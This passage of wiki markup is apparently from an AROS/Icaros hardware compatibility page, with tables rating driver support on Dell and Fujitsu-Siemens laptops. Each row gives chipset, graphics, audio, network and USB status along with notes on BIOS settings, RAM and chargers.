| &lt;!--Name--&gt;Latitude D830 || &lt;!--Chipset--&gt;ICH8, Core2 DUO T7800 @ 2.60GHz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;Intel ICH8M Serial ATA || &lt;!--Gfx--&gt;nVidia Quadro NVS 140M G86 || &lt;!--Audio--&gt;{{yes|HD Audio with STAC 92XX codec}} || &lt;!--USB--&gt;{{yes|USB 2.0}} || &lt;!--Ethernet--&gt;Broadcom NetXtreme 57xx Gigabit || &lt;!--Wireless--&gt;Intel Wireless 4965AGN swap with Atheros 5k || &lt;!--Test Distro--&gt;Icaros 2.03 || &lt;!--Comments--&gt;2007 64bit 15.&quot; - FN,F2 or FN,F8 or FN,F12 
|-
| &lt;!--Name--&gt;XPS M1710 || &lt;!--Chipset--&gt;945PM with T2400 T2600 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;proprietary Dell card socket format GTX 7950 || &lt;!--Audio--&gt;HD Audio with STAC 92XX codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel 1000 or Broadcom BCM5752 || &lt;!--Wireless--&gt;Intel swap with Atheros 5k || &lt;!--Test Distro--&gt;Aros One 64bit || &lt;!--Comments--&gt;2007 64bit 17.3&quot; workstation type WXGA+ screen 1920x1200 - 2 ddr-2 667Mhz sodimm slots, 
|-
| &lt;!--Name--&gt;XPS M1730 || &lt;!--Chipset--&gt;965 with T7200 T7600 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GTX 7950 || &lt;!--Audio--&gt;HD Audio with STAC 92XX codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel 1000 || &lt;!--Wireless--&gt;Intel swap with Atheros 5k || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 64bit 17&quot; workstation type WXGA+ screen manufactured by AU Optronics poor viewing angles, unevenly lit, light leakage, 2 ddr-2 800Mhz slots, 
|-
| &lt;!--Name--&gt;Latitude E6410 P27LA, E6510 PP30LA, E6310 || &lt;!--Chipset--&gt;Intel Core i5-520M to i7-620M i7 820QM but no sse4.1 or AVX || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }}  || &lt;!--Gfx--&gt;{{Maybe|NVidia NVS 3100M GT218 2D but 3D through external monitor}} || &lt;!--Audio--&gt;{{Maybe|HD Audio IDT 92HD81}} || &lt;!--USB--&gt;{{Yes|USB2 }}  || &lt;!--Ethernet--&gt;{{No|Intel}}  || &lt;!--Wireless--&gt;{{No|Broadcom or Intel 6200AGN or Link 6300}} || &lt;!--Test Distro--&gt;Icaros 1.3 || &lt;!--Comments--&gt;2010 64 bit - 14.1” WXGA+ up to 15.6in 15.6” FHD 1080p - 2 ddr3l 1333Mhz max 8Gb - 90w dell charger - 3pin cmos - 
|-
| &lt;!--Name--&gt;Inspiron M5030 || &lt;!--Chipset--&gt;rev A01 AMD V120, V140 rev A0? V160 M880G || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE}} || &lt;!--Gfx--&gt;{{Maybe|VESA RS880M Radeon HD 4225, 4250}} || &lt;!--Audio--&gt;{{Yes|HD audio with ALC269q codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Atheros AR8152 v2}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - DDR3 sodimm - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;E6420 E6520 ATG semi ruggized XFR || &lt;!--Chipset--&gt;sandy bridge i5 2520M 2540M or duo I7 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|set to Bios UEFI mode AHCI}} || &lt;!--Gfx--&gt;{{Maybe|Intel HD 3000 with optional fermi Nvidia NVS 4200M GF119}} || &lt;!--Audio--&gt;{{Maybe|HD Audio with IDT 92HD90 BXX codec but not HDMI codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|Intel}} || &lt;!--Wireless--&gt;{{No|Intel 6205}} || &lt;!--Test Distro--&gt;Icaros 2.03 || &lt;!--Comments--&gt;2011 64bit 15.6in - fan exhausts a lot of hot air when cpu taxed - VGA if Bios ATA set and Vesa only with Bios ACHI set - 
|-
| &lt;!--Name--&gt;Inspiron M5040 || &lt;!--Chipset--&gt;slow amd E450, later C-50 C50 or C-60 C60 with A50M chipset || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|non efi sata in IDE mode but base plastic difficult to remove for access}} || &lt;!--Gfx--&gt;{{Maybe|use VESA AMD Radeon 6320, 6250 or 6290}} || &lt;!--Audio--&gt;{{Yes|HD Audio IDT}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{Yes|rtl8169 Realtek RTL8105E VB 10/100}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt;2016 icaros 2.1.1 and AROS USB 1.6 || &lt;!--Comments--&gt;2012 64bit 15INCH 1388 X 768 - f2 bios setup, f12 boot order - under removable keyboard via 4 top spring loaded catches is 1 ddr3l sodimm max 8gb and wifi - 
|-
| Latitude e6230 E6330 E6430 || i3 3320M 3350M 2.8 GHz i5 3360M i7 3520M || {{N/A}} || {{partial|non RAID mode}} || {{partial|Intel HD 4000 (VESA only)}} || {{no|HD Audio}} || {{partial|Intel USB 3.0 (USB 1.1 2.0 only)}} || {{No|Intel 82579LM Gigabit}} || {{No|Broadcom BCM4313}} || &lt;!--Test Distro--&gt;Nightly Build 2014 09-27 || 2013 64bit Ivy Bridge - 12.5-inch 13.3-inch 14-inch screen - not great support, better under hosted - 
|-
| &lt;!--Name--&gt;Dell Latitude 3330 || &lt;!--Chipset--&gt;Core i3 – 2375M  to i5 – 3337U, Intel® Core i3 – 3227U, Celeron 1007U on HM77 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{maybe|VESA 2d for intel Hd 2000 3000 vga hdmi}} || &lt;!--Audio--&gt;{{maybe|HDAudio with IDT 92HD93 Controller codec }} || &lt;!--USB--&gt;{{maybe|USB 3.0 (2), USB 2.0 PowerShare capable }} || &lt;!--Ethernet--&gt;{{no|Intel }} || &lt;!--Wireless--&gt;{{no|Intel }} || &lt;!--Test Distro--&gt;Deadwood usb3 test iso || &lt;!--Comments--&gt;2013 64bit, 13.3” HD 1366X768 16:9, 2 ddr3l slots max 8Gb, 720p HD video webcam, 
|-
| &lt;!--Name--&gt;Inspiron 15 5565 5567 AMD versions, Inspiron 3595 || &lt;!--Chipset--&gt;AMD A6-9200u A9-9400 9425 A12-9700P Bristol Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;Radeon R5 R8 GCN 3 || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{partial| }} || &lt;!--Ethernet--&gt;{{maybe|Realtek 1GbE}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2017 64bit AVX2 - 15.6in 768p or 900p - there are intel versions avoid - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Latitude 5495, Inspiron 15 3585 || &lt;!--Chipset--&gt;Ryzen 2300U 2500U 2700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|NVMe or optional 2.5in sata if caddy and ribbon cable}} || &lt;!--Gfx--&gt;Radeon Vega 3 or 7 || &lt;!--Audio--&gt;{{No|HDAudio with Realtek ALC3246 aka ALC295 0x10ec, 0x0295 or ALC3263 aka ALC 0x10ec, 0x0 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 14.0&quot; FHD WVA 1080p (16:9) 220 nits or HD 768p - 2 ddr4 sodimm slots max 32gb - 68whr battery with 2pin cmos bios coin - DC 19.5V 4.62A (90W) or 19.5V 3.34W (65W) 5.0mm x 7.4mm PA12 charging adapter - 
|-
| &lt;!--Name--&gt;Inspiron 3505, Vostro 3515 || &lt;!--Chipset--&gt;athlon 300u, Ryzen 3250u (2c4t) 3450u 3500u 3700u (4c8t), Athlon Silver (2c2t) Gold (2c4t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|up to 2 nvme with optional 2.5in sata ribbon connector}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 8, 10}} || &lt;!--Audio--&gt;{{No|Realtek ALC3204, Cirrus Logic CS8409 (CS42L42 and SN005825)}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{No|RTL 8106E}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8723DE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64-bit - 15.6inch - 2 ddr4 sodimm max 16G - avoid knocking usb-c charging whilst in use - 
|-
| &lt;!--Name--&gt;Inspiron 5485 2-in-1 || &lt;!--Chipset--&gt;athlon 300u, Ryzen 3250u (2c4t) 3450u 3500u 3700u (4c8t), Athlon Silver (2c2t) Gold (2c4t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|nvme}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 8, 10}} || &lt;!--Audio--&gt;{{No|Realtek ALC3204}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8723DE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64-bit - 14inch - 2 ddr4 sodimm max 16G - avoid knocking usb-c charging whilst in use - 
|-
| &lt;!--Name--&gt;Latitude 3500, 3310, 3410, 3510, || &lt;!--Chipset--&gt;Intel Celeron-4205U, Pentium-5405U, Core i5 (8th Gen) i3-8145U, 8265U, i5-8365U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|nvme}} || &lt;!--Gfx--&gt;{{Maybe|Vesa 2D for Intel UHD Graphics 610 or 620 hdmi}} || &lt;!--Audio--&gt;{{no|HDAudio with Realtek ALC}} || &lt;!--USB--&gt;{{maybe|USB3 usb-c usb-a}} || &lt;!--Ethernet--&gt;{{Maybe|rtl8169 RTL8111H}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64bit - 14in or 15.6in 768p to 1080p 220nits - 65w - 2 ddr4 sodimm slots - rtc cr2032 cmos 2 pin - 
|-
| &lt;!--Name--&gt;Inspiron 5405 || &lt;!--Chipset--&gt;AMD Ryzen 5 4500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;One M.2 2230/2280 nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{No|HDAudio with Realtek ALC3204 codec}} || &lt;!--USB--&gt;{{maybe|USB3 }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - 14&quot; 1080p - dell round ac 19.50 VDC 4.50 mm x 2.90 mm 65W(19.5V-3.34A) round 4.5mm tip - 
|-
| &lt;!--Name--&gt;Inspiron 5415, Inspiron 5515 || &lt;!--Chipset--&gt;AMD Ryzen 3 5300U, Ryzen 5 5500U, Ryzen 7 5700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|nvme}} || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{No|HDaudio with realtek ALC3254 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit 14&quot; or 15.6in - avoid knocking usb-c charging whilst in use or use dell round ac 65W 4.5MM x 3.0MM - replacing keyboard not easy - 1 ddr4 sodimm - 
|-
| &lt;!--Name--&gt;Vostro 3425, Vostro 3525, Vostro 5625 || &lt;!--Chipset--&gt;AMD Ryzen 3 5425U, Ryzen 5 5625U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Radeon || &lt;!--Audio--&gt;{{no|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB4}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 14in 15.6&quot; to 16&quot; FHD 1080p - dell round ac 65w 4.5MM x 3.0MM or avoid knocking usb-c charging whilst in use - 
|-
| &lt;!--Name--&gt;Dell Inspiron 15 Model 3535, Inspiron 14 7435  || &lt;!--Chipset--&gt;AMD Ryzen 5 7520U, AMD Ryzen 5 7530U, 7 7730U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;{{No| hdmi 1.4 but no gpmi}} || &lt;!--Audio--&gt;{{No|HDaudio with codec }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2024 64bit - 14.0&quot; or 15.6&quot; 1080p - dell round ac 65w 4.5MM x 3.0MM or usb-c charging - full sd card slot - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|}


====Fujitsu-Siemens====

[[#top|...to the top]]

Order of build quality (Lowest to highest)
&lt;pre &gt;
Amilo 
Esprimo 
Lifebook 
&lt;/pre &gt;

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;5%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Fujitsu [http://www.labri.fr/perso/fleury/index.php?page=bug_transmeta FMV-Biblo Loox S73A (Japan P1100) LifeBook P1120 Biblo Loox T93C (Japan P2120) P2020] || &lt;!--Chipset--&gt;Transmeta Crusoe CPU TM5600 633MHz with Ali M1535 chipset || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;ATI Rage Mobility M with 4MB SDRAM || &lt;!--Audio--&gt;{{No|AC97 Ali M1535 + STAC9723 Codec}} || &lt;!--USB--&gt;USB 1.1 only || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;1999 32bit 10&quot; 1280 x 600 matte LCD - QuickPoint IV mouse - metal chassis with palm rest plastic - 15GB 2.5 inch drive and SR 8175 8X DVD-ROM drive -  
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Lifebook S7000 S7010 S7010D S2020 || &lt;!--Chipset--&gt;Pentium M 1.6 or 1.7GHz || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Maybe|use VESA - Intel 855}} || &lt;!--Audio--&gt;{{maybe|AC97 with STAC 9751T or 9767 codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Broadcom}} || &lt;!--Wireless--&gt;{{No|Atheros, Broadcom or Intel 2200BG - FN,F10}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2002 32bit 14.1 inch with minimal support 
|-
| &lt;!--Name--&gt;Lifebook e8010 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{Yes| }} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|use VESA Intel 855GM}} || &lt;!--Audio--&gt;AC97 STAC9767 or ALC203 codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Broadcom NetXtreme BCM5705M}} || &lt;!--Wireless--&gt;Intel PRO Wireless 2200BG || &lt;!--Test Distro--&gt;Icaros 1.3.1 || &lt;!--Comments--&gt;2002 32bit 15.1 inch
|-
| &lt;!--Name--&gt;Stylistic ST5000 ST5010 ST5011 ST5012 ST5020 ST5021 ST5022 || &lt;!--Chipset--&gt;1.0GHz P-M and later 1.1GHz on Intel 855GME || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;Intel 800 use VESA || &lt;!--Audio--&gt;Intel AC97 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Broadcom BCM5788 tg3 || &lt;!--Wireless--&gt;{{No|Intel 2200BG}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2003 32bit charged via a proprietary port power connector 16V 3.75A with wacom serial pen interface - indoor Screen transmissive 10.1 and later 12.1 XGA TFT - 
|-
| &lt;!--Name--&gt;Amilo Pro V2010  || &lt;!--Chipset--&gt;VIA CN400 PM880 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{No|S3 unichrome use VESA}} || &lt;!--Audio--&gt;{{No|VIA AC97 VT8237 with  codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Rhine 6102 6103 || &lt;!--Wireless--&gt;RaLink RT2500 || &lt;!--Test Distro--&gt;2017 Icaros 2.1.2 || &lt;!--Comments--&gt;2003 32bit boot mount - unknown bootstrap error then crashes 
|-
| &lt;!--Name--&gt;Amilo Li 1705 CN896 || &lt;!--Chipset--&gt; with VIA P4M900 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{Maybe|IDE}} || &lt;!--Gfx--&gt;ATi || &lt;!--Audio--&gt;{{No|VIA VT8237 HD Audio  with  codec}} || &lt;!--USB--&gt;VT82xx 62xx || &lt;!--Ethernet--&gt;{{Yes|VIA Rhine}} || &lt;!--Wireless--&gt;{{No|Atheros G}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2005 32bit random freezes
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; Esprimo Mobile V5535 Skt mPGA 478MN 
| &lt;!--Chipset--&gt; 
| &lt;!--IDE--&gt; {{yes|IDE and EIDE}}
| &lt;!--SATA--&gt; {{maybe|IDE mode with SIS 5513}}
| &lt;!--Gfx--&gt; {{maybe|SiS 771 / 671 (VESA only)}}
| &lt;!--Audio--&gt; {{yes|HD Audio SIS968 SIS966 SI7012 with ALC268 codec}}
| &lt;!--USB--&gt; {{no|USB 1.1 and 2.0 issues}}
| &lt;!--Ethernet--&gt; {{no|SiS 191 gigabit}}
| &lt;!--Wireless--&gt; {{yes|Atheros AR5001 mini pci express}}
| &lt;!--Test Distro--&gt;aros one 1.5 usb 
| &lt;!--Comments--&gt;2005 32bit 20v barrel - f2 setup f12 multi boot - random freezing short time after booting - chipset SIS 671MX - 
|-
| &lt;!--Name--&gt;Amilo SI 1520 1521p || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|GMA 2D}} || &lt;!--Audio--&gt;{{No|HD Audio Conexant codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{Yes|Intel Pro 100}} || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt;Icaros 1.4.2 || &lt;!--Comments--&gt;2005 32bit - Set Bios option ATA Control Mode to Compatible 
|-
| &lt;!--Name--&gt;Lifebook S7020 S7020D || &lt;!--Chipset--&gt; Pentium M 740 1.73MHz || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 915 || &lt;!--Audio--&gt;HD Audio ALC260 codec || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;Broadcom BCM5751M Gigabit || &lt;!--Wireless--&gt;Intel PRO Wireless 2200BG or Atheros 5k || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32bit 
|-
| &lt;!--Name--&gt;Stylistic ST5030 ST5031 ST5032 || &lt;!--Chipset--&gt;1 to 1.2GHx Pentium M with 915GM || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;Intel 900 || &lt;!--Audio--&gt; || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;Marvell || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32bit charged via a proprietary port power connector 6.0 x 4.4 mm round - 200 pin ddr2 ram 
|-
| &lt;!--Name--&gt;Stylistic ST5110 ST5111 ST5112 || &lt;!--Chipset--&gt;945GM with 1.2GHz Core Duo and Core2 Duo || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 900 || &lt;!--Audio--&gt;HD audio with STAC9228 codec || &lt;!--USB--&gt;{{No| }} || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;Intel 3945 ABG or optional atheros || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 either 32 or 64 bit - charged via a proprietary port power connector 6.0 x 4.4 mm round - SigmaTel® touchscreen - 
|-
| &lt;!--Name--&gt;E8110 S7110 E8210 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|945GM}} || &lt;!--Audio--&gt;{{Yes|HD Audio with ALC262 codec playback}} || &lt;!--USB--&gt;{{Yes}} || &lt;!--Ethernet--&gt;{{No|Marvell 88E8055 Gigabit}} || &lt;!--Wireless--&gt;{{No|Intel PRO Wireless 3945ABG}} || &lt;!--Test Distro--&gt;Icaros 2.0 || &lt;!--Comments--&gt;2006 32bit Core Duo 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || CHIPSET || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Lifebook PH521 || &lt;!--Chipset--&gt;AMD E-350 E-450 1.65GHz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;HD 6310M 6320M || &lt;!--Audio--&gt;Realtek ALC269 || &lt;!--USB--&gt;{{No| }} || &lt;!--Ethernet--&gt;Realtek || &lt;!--Wireless--&gt;{{No|Atheros 802.11 bgn}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - 11.6 inch 1366x768 pixels - DDR3 1066MHz - 
|-
| &lt;!--Name--&gt;LIFEBOOK E752/E782/S752/S782 || &lt;!--Chipset--&gt; with Intel Core i3-2328M to i3-3110M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{Maybe| }} || &lt;!--Audio--&gt;{{yes| }} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no|Intel 82579V 1000 }} || &lt;!--Wireless--&gt;{{no|Intel Wireless 6205 may be able to swap for Atheros 5k }} || &lt;!--Test Distro--&gt;Aros One 64bit || &lt;!--Comments--&gt;2012 64bit 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====HP Compaq====

[[#top|...to the top]]

Build quality (Lowest to highest) 

&lt;pre &gt;
Presario 
Pavilion 
Omnibook 
ProBook
Armada
Elitebook
&lt;/pre &gt;


{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
